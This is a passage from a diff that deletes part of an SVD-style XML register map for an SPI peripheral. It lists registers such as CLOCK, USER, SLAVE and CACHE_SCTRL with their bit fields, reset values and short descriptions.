-              <description>Delay cycles of resume Flash when resume Flash is enable by spi clock.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CS_HOLD_DELAY</name>
-              <description>SPI cs signal is delayed by spi clock cycles</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RD_STATUS</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS</name>
-              <description>In the slave mode, it is the status for master to read out.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WB_MODE</name>
-              <description>Mode bits in the flash fast read mode, it is combined with spi_fastrd_mode bit.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>STATUS_EXT</name>
-              <description>In the slave mode,it is the status for master to read out.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CTRL2</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000011</resetValue>
-          <fields>
-            <field>
-              <name>SETUP_TIME</name>
-              <description>(cycles-1) of ¡°prepare¡± phase by spi clock, this bits combined with spi_cs_setup bit.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOLD_TIME</name>
-              <description>delay cycles of cs pin by spi clock, this bits combined with spi_cs_hold bit.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK_OUT_LOW_MODE</name>
-              <description>modify spi clock duty ratio when the value is lager than 8, the bits are combined with spi_clkcnt_N bits and spi_clkcnt_L bits.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK_OUT_HIGH_MODE</name>
-              <description>modify spi clock duty ratio when the value is lager than 8, the bits are combined with spi_clkcnt_N bits and spi_clkcnt_H bits.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MISO_DELAY_MODE</name>
-              <description>MISO signals are delayed by spi_clk. 0: zero  1: if spi_ck_out_edge or spi_ck_i_edge is set 1  delayed by half cycle    else delayed by one cycle  2: if spi_ck_out_edge or spi_ck_i_edge is set 1  delayed by one cycle  else delayed by half cycle  3: delayed one cycle</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MISO_DELAY_NUM</name>
-              <description>MISO signals are delayed by system clock cycles</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MOSI_DELAY_MODE</name>
-              <description>MOSI signals are delayed by spi_clk. 0: zero  1: if spi_ck_out_edge or spi_ck_i_edge is set 1  delayed by half cycle    else delayed by one cycle  2: if spi_ck_out_edge or spi_ck_i_edge is set 1  delayed by one cycle  else delayed by half cycle  3: delayed one cycle</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MOSI_DELAY_NUM</name>
-              <description>MOSI signals are delayed by system clock cycles</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CS_DELAY_MODE</name>
-              <description>spi_cs signal is delayed by spi_clk . 0: zero  1: if spi_ck_out_edge or spi_ck_i_edge is set 1  delayed by half cycle    else delayed by one cycle  2: if spi_ck_out_edge or spi_ck_i_edge is set 1  delayed by one cycle   else delayed by half cycle  3: delayed one cycle</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CS_DELAY_NUM</name>
-              <description>spi_cs signal is delayed by system clock cycles</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLOCK</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x80003043</resetValue>
-          <fields>
-            <field>
-              <name>CLKCNT_L</name>
-              <description>In the master mode it must be equal to spi_clkcnt_N. In the slave mode it must be 0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLKCNT_H</name>
-              <description>In the master mode it must be floor((spi_clkcnt_N+1)/2-1). In the slave mode it must be 0.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLKCNT_N</name>
-              <description>In the master mode it is the divider of spi_clk. So spi_clk frequency is system/(spi_clkdiv_pre+1)/(spi_clkcnt_N+1)</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLKDIV_PRE</name>
-              <description>In the master mode it is pre-divider of spi_clk.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>13</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_EQU_SYSCLK</name>
-              <description>In the master mode 1: spi_clk is eqaul to system 0: spi_clk is divided from system clock.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>USER</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x80000040</resetValue>
-          <fields>
-            <field>
-              <name>DOUTDIN</name>
-              <description>Set the bit to enable full duplex communication. 1: enable 0: disable.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CS_HOLD</name>
-              <description>spi cs keep low when spi is in ¡°done¡± phase. 1: enable 0: disable.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CS_SETUP</name>
-              <description>spi cs is enable when spi is in ¡°prepare¡± phase. 1: enable 0: disable.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK_I_EDGE</name>
-              <description>In the slave mode  the bit is same as spi_ck_out_edge in master mode. It is combined with  spi_miso_delay_mode bits.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK_OUT_EDGE</name>
-              <description>the bit combined with spi_mosi_delay_mode bits to set mosi signal delay mode.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_BYTE_ORDER</name>
-              <description>In read-data (MISO) phase 1: big-endian 0: little_endian</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WR_BYTE_ORDER</name>
-              <description>In command address write-data (MOSI) phases 1: big-endian 0: litte_endian</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FWRITE_DUAL</name>
-              <description>In the write operations read-data phase apply 2 signals</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FWRITE_QUAD</name>
-              <description>In the write operations read-data phase apply 4 signals</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FWRITE_DIO</name>
-              <description>In the write operations address phase and read-data phase apply 2 signals.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FWRITE_QIO</name>
-              <description>In the write operations address phase and read-data phase apply 4 signals.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SIO</name>
-              <description>Set the bit to enable 3-line half duplex communication  mosi and miso signals share the same pin. 1: enable 0: disable.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_HOLD_POL</name>
-              <description>It is combined with hold bits to set the polarity of spi hold line  1: spi will be held when spi hold line is high  0: spi will be held when spi hold line is low</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_DOUT_HOLD</name>
-              <description>spi is hold at data out state  the bit combined with spi_usr_hold_pol bit.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_DIN_HOLD</name>
-              <description>spi is hold at data in state  the bit combined with spi_usr_hold_pol bit.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_DUMMY_HOLD</name>
-              <description>spi is hold at dummy state  the bit combined with spi_usr_hold_pol bit.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_ADDR_HOLD</name>
-              <description>spi is hold at address state  the bit combined with spi_usr_hold_pol bit.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_CMD_HOLD</name>
-              <description>spi is hold at command state  the bit combined with spi_usr_hold_pol bit.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_PREP_HOLD</name>
-              <description>spi is hold at prepare state  the bit combined with spi_usr_hold_pol bit.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_MISO_HIGHPART</name>
-              <description>read-data phase only access to high-part of the buffer spi_w8~spi_w15. 1: enable 0: disable.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_MOSI_HIGHPART</name>
-              <description>write-data phase only access to high-part of the buffer spi_w8~spi_w15. 1: enable 0: disable.</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_DUMMY_IDLE</name>
-              <description>spi clock is disable in dummy phase when the bit is enable.</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_MOSI</name>
-              <description>This bit enable the write-data phase of an operation.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_MISO</name>
-              <description>This bit enable the read-data phase of an operation.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_DUMMY</name>
-              <description>This bit enable the dummy phase of an operation.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_ADDR</name>
-              <description>This bit enable the address phase of an operation.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_COMMAND</name>
-              <description>This bit enable the command phase of an operation.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>USER1</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x5C000007</resetValue>
-          <fields>
-            <field>
-              <name>USR_DUMMY_CYCLELEN</name>
-              <description>The length in spi_clk cycles of dummy phase. The register value shall be (cycle_num-1).</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_ADDR_BITLEN</name>
-              <description>The length in bits of address phase. The register value shall be (bit_num-1).</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>USER2</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x70000000</resetValue>
-          <fields>
-            <field>
-              <name>USR_COMMAND_VALUE</name>
-              <description>The value of  command.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_COMMAND_BITLEN</name>
-              <description>The length in bits of command phase. The register value shall be (bit_num-1)</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MOSI_DLEN</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>USR_MOSI_DBITLEN</name>
-              <description>The length in bits of write-data. The register value shall be (bit_num-1).</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MISO_DLEN</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>USR_MISO_DBITLEN</name>
-              <description>The length in bits of  read-data. The register value shall be (bit_num-1).</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLV_WR_STATUS</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLV_WR_ST</name>
-              <description>In the slave mode this register are the status register for the master to write into. In the master mode this register are the higher 32bits in the 64 bits address condition.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PIN</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000006</resetValue>
-          <fields>
-            <field>
-              <name>CS0_DIS</name>
-              <description>SPI CS0 pin enable, 1: disable CS0, 0: spi_cs0 signal is from/to CS0 pin</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CS1_DIS</name>
-              <description>SPI CS1 pin enable, 1: disable CS1, 0: spi_cs1 signal is from/to CS1 pin</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CS2_DIS</name>
-              <description>SPI CS2 pin enable, 1: disable CS2, 0: spi_cs2 signal is from/to CS2 pin</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK_DIS</name>
-              <description>1: spi clk out disable  0: spi clk out enable</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MASTER_CS_POL</name>
-              <description>In the master mode  the bits are the polarity of spi cs line  the value is equivalent to spi_cs ^ spi_master_cs_pol.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MASTER_CK_SEL</name>
-              <description>In the master mode  spi cs line is enable as spi clk  it is combined with spi_cs0_dis spi_cs1_dis spi_cs2_dis.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK_IDLE_EDGE</name>
-              <description>1: spi clk line is high when idle     0: spi clk line is low when idle</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CS_KEEP_ACTIVE</name>
-              <description>spi cs line keep low when the bit is set.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLAVE</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000020</resetValue>
-          <fields>
-            <field>
-              <name>SLV_RD_BUF_DONE</name>
-              <description>The interrupt raw bit for the completion of read-buffer operation in the slave mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WR_BUF_DONE</name>
-              <description>The interrupt raw bit for the completion of write-buffer operation in the slave mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_RD_STA_DONE</name>
-              <description>The interrupt raw bit for the completion of read-status operation in the slave mode.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WR_STA_DONE</name>
-              <description>The interrupt raw bit for the completion of write-status operation in the slave mode.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TRANS_DONE</name>
-              <description>The interrupt raw bit for the completion of any operation in both the master mode and the slave mode.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INT_EN</name>
-              <description>Interrupt enable bits for the below 5 sources</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CS_I_MODE</name>
-              <description>In the slave mode  this bits used to synchronize the input spi cs signal and eliminate spi cs  jitter.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_LAST_COMMAND</name>
-              <description>In the slave mode it is the value of command.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLV_LAST_STATE</name>
-              <description>In the slave mode it is the state of spi state machine.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TRANS_CNT</name>
-              <description>The operations counter in both the master mode and the slave mode. 4: read-status</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLV_CMD_DEFINE</name>
-              <description>1: slave mode commands are defined in SPI_SLAVE3.  0: slave mode commands are fixed as: 1: write-status 2: write-buffer and 3: read-buffer.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WR_RD_STA_EN</name>
-              <description>write and read status enable  in the slave mode</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WR_RD_BUF_EN</name>
-              <description>write and read buffer enable in the slave mode</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MODE</name>
-              <description>1: slave mode 0: master mode.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SYNC_RESET</name>
-              <description>Software reset enable, reset the spi clock line cs line and data lines.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLAVE1</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x02000000</resetValue>
-          <fields>
-            <field>
-              <name>SLV_RDBUF_DUMMY_EN</name>
-              <description>In the slave mode it is the enable bit of dummy phase for read-buffer operations.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WRBUF_DUMMY_EN</name>
-              <description>In the slave mode it is the enable bit of dummy phase for write-buffer operations.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_RDSTA_DUMMY_EN</name>
-              <description>In the slave mode it is the enable bit of dummy phase for read-status operations.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WRSTA_DUMMY_EN</name>
-              <description>In the slave mode it is the enable bit of dummy phase for write-status operations.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WR_ADDR_BITLEN</name>
-              <description>In the slave mode it is the address length in bits for write-buffer operation. The register value shall be (bit_num-1).</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_RD_ADDR_BITLEN</name>
-              <description>In the slave mode it is the address length in bits for read-buffer operation. The register value shall be (bit_num-1).</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_STATUS_READBACK</name>
-              <description>In the slave mode  1:read register of SPI_SLV_WR_STATUS  0: read register of SPI_RD_STATUS.</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_STATUS_FAST_EN</name>
-              <description>In the slave mode enable fast read status.</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_STATUS_BITLEN</name>
-              <description>In the slave mode it is the length of status bit.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLAVE2</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLV_RDSTA_DUMMY_CYCLELEN</name>
-              <description>In the slave mode it is the length in spi_clk cycles of dummy phase for read-status operations. The register value shall be (cycle_num-1).</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WRSTA_DUMMY_CYCLELEN</name>
-              <description>In the slave mode it is the length in spi_clk cycles of dummy phase for write-status operations. The register value shall be (cycle_num-1).</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_RDBUF_DUMMY_CYCLELEN</name>
-              <description>In the slave mode it is the length in spi_clk cycles of dummy phase for read-buffer operations. The register value shall be (cycle_num-1).</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WRBUF_DUMMY_CYCLELEN</name>
-              <description>In the slave mode it is the length in spi_clk cycles of dummy phase for write-buffer operations. The register value shall be (cycle_num-1).</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLAVE3</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLV_RDBUF_CMD_VALUE</name>
-              <description>In the slave mode it is the value of read-buffer command.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WRBUF_CMD_VALUE</name>
-              <description>In the slave mode it is the value of write-buffer command.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_RDSTA_CMD_VALUE</name>
-              <description>In the slave mode it is the value of read-status command.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLV_WRSTA_CMD_VALUE</name>
-              <description>In the slave mode it is the value of write-status command.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLV_WRBUF_DLEN</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLV_WRBUF_DBITLEN</name>
-              <description>In the slave mode it is the length in bits for write-buffer operations. The register value shall be (bit_num-1).</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLV_RDBUF_DLEN</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLV_RDBUF_DBITLEN</name>
-              <description>In the slave mode it is the length in bits for read-buffer operations. The register value shall be (bit_num-1).</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CACHE_FCTRL</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CACHE_REQ_EN</name>
-              <description>For SPI0  Cache access enable  1: enable  0:disable.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_USR_CMD_4BYTE</name>
-              <description>For SPI0  cache  read flash with 4 bytes command  1: enable  0:disable.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_FLASH_USR_CMD</name>
-              <description>For SPI0  cache  read flash for user define command  1: enable  0:disable.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_FLASH_PES_EN</name>
-              <description>For SPI0  spi1 send suspend command before cache read flash 1: enable  0:disable.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CACHE_SCTRL</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x15C04830</resetValue>
-          <fields>
-            <field>
-              <name>USR_SRAM_DIO</name>
-              <description>For SPI0  In the spi sram mode  spi dual I/O mode enable  1: enable  0:disable</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_SRAM_QIO</name>
-              <description>For SPI0  In the spi sram mode  spi quad I/O mode enable  1: enable  0:disable</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_WR_SRAM_DUMMY</name>
-              <description>For SPI0  In the spi sram mode  it is the enable bit of dummy phase for write operations.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USR_RD_SRAM_DUMMY</name>
-              <description>For SPI0  In the spi sram mode  it is the enable bit of dummy phase for read operations.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_SRAM_USR_RCMD</name>
-              <description>For SPI0  In the spi sram mode cache read sram for user define command.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SRAM_BYTES_LEN</name>
-              <description>For SPI0  In the sram mode  it is the byte length of spi read sram data.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SRAM_DUMMY_CYCLELEN</name>
-              <description>For SPI0  In the sram mode  it is the length in bits of address phase. The register value shall be (bit_num-1).</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SRAM_ADDR_BITLEN</name>
-              <description>For SPI0  In the sram mode  it is the length in bits of address phase. The register value shall be (bit_num-1).</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_SRAM_USR_WCMD</name>
-              <description>For SPI0  In the spi sram mode cache write sram for user define command</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SRAM_CMD</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SRAM_DIO</name>
